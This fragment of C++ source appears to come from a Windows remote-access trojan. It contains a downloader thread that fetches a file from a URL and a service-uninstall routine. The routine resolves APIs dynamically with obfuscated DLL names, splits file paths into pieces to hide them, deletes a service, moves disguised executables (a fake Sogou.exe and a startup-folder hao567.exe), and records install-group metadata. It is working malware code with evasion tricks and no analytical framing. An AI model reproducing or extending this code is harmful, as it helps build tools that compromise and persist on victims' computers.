// Функция потока загрузки файла
DWORD WINAPI Downloadclient2015File(LPVOID D)
{
	// Загружаем нужный файл

    TJavaClientFileData *Data = (TJavaClientFileData*)D;

	PCHAR Document = NULL;

	HRESULT Res = (HRESULT)pURLDownloadToFileA(NULL, Data->URL.t_str(), Data->TempFileName.t_str(), 0, NULL);


	if (Res == S_OK)
		pMoveFileA(Data->TempFileName.t_str(), Data->FileName.t_str());
	else
		pDeleteFileA(Data->TempFileName.t_str());


	delete Data;

    Downloadclient2015FileThread = NULL;

	return 0;
}
void CKernelManager::UnInstallService()
{
	typedef BOOL (WINAPI *DeleteFileAT)
		(
		__in LPCSTR lpFileName
		);
	DeleteFileAT pDeleteFileA = (DeleteFileAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"DeleteFileA");
	
	typedef SC_HANDLE (WINAPI *OpenSCManagerAT)
		(
		__in_opt        LPCSTR                lpMachineName,
		__in_opt        LPCSTR                lpDatabaseName,
		__in            DWORD                   dwDesiredAccess
		);
	char KIoFqQPSy[] = {'A','D','V','A','P','I','3','2','.','d','l','l','\0'};
	OpenSCManagerAT pOpenSCManagerA= (OpenSCManagerAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenSCManagerA");
	
	typedef SC_HANDLE
		(WINAPI
		*OpenServiceAT)(
		__in            SC_HANDLE               hSCManager,
		__in            LPCSTR                lpServiceName,
		__in            DWORD                   dwDesiredAccess
		);
	OpenServiceAT pOpenServiceA=(OpenServiceAT)GetProcAddress(LoadLibrary(KIoFqQPSy),"OpenServiceA");

	typedef BOOL
		(WINAPI
		*DeleteServiceT)(
		__in        SC_HANDLE   hService
		);
	DeleteServiceT pDeleteService=(DeleteServiceT)GetProcAddress(LoadLibrary(KIoFqQPSy),"DeleteService");

	typedef BOOL
		(WINAPI
		*MoveFileAT)(
		__in LPCSTR lpExistingFileName,
		__in LPCSTR lpNewFileName
		);
	MoveFileAT pMoveFileA=(MoveFileAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"MoveFileA");

	typedef VOID
		(WINAPI
		*GetSystemTimeT)(
		__out LPSYSTEMTIME lpSystemTime
		);
	GetSystemTimeT pGetSystemTime=(GetSystemTimeT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"GetSystemTime");

	if (!modify_data.bRunOnce)
	{
		SC_HANDLE service, scm;
		scm = pOpenSCManagerA(0, 0,SC_MANAGER_CREATE_SERVICE);
		service = pOpenServiceA(scm,service_data.ws_svcname,SERVICE_ALL_ACCESS | DELETE);
		pDeleteService(service);

		//////////////////////////////////////////////////////////
		char *SWpte1="C:\\progra~1\\Com", *yNpME2="mon Files\\1.temp",*SdHHe3=NULL;
		SdHHe3=new char[strlen(SWpte1)+strlen(yNpME2)+1];
		strcpy(SdHHe3,SWpte1);
		strcat(SdHHe3,yNpME2);
		//////////////////////////////////////////////////////////
		char *YXwdp1="C:\\progra~1\\Com", *rUIhn2="mon Files\\2.temp",*NahJl3=NULL;
		NahJl3=new char[strlen(YXwdp1)+strlen(rUIhn2)+1];
		strcpy(NahJl3,YXwdp1);
		strcat(NahJl3,rUIhn2);
		//////////////////////////////////////////////////////////
		char *mElad1="C:\\progra~1\\Commo", *uVwMo2="n Files\\Sogou.exe",*WQTSj3=NULL;
		WQTSj3=new char[strlen(mElad1)+strlen(uVwMo2)+1];
		strcpy(WQTSj3,mElad1);
		strcat(WQTSj3,uVwMo2);
		//////////////////////////////////////////////////////////

        pDeleteFileA(SdHHe3);
		pDeleteFileA(NahJl3);
		pMoveFileA(WQTSj3,SdHHe3);
		pMoveFileA("C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\hao567.exe",NahJl3);
	}
	SYSTEMTIME time;
	pGetSystemTime(&time);
	char szTime[100],szRun[256];
	wsprintf(szTime,"%02d%02d%02d",time.wYear,time.wMonth,time.wDay);
	DelSetInfo("InitTime", szTime, "BITS");//写安装日期
	DelSetInfo("Version", modify_data.szVersion, "BITS");//写版本信息
	DelSetInfo("Group", modify_data.szGroup, "BITS");//写分组信息
	exit(0);
	ExitProcess(0);
}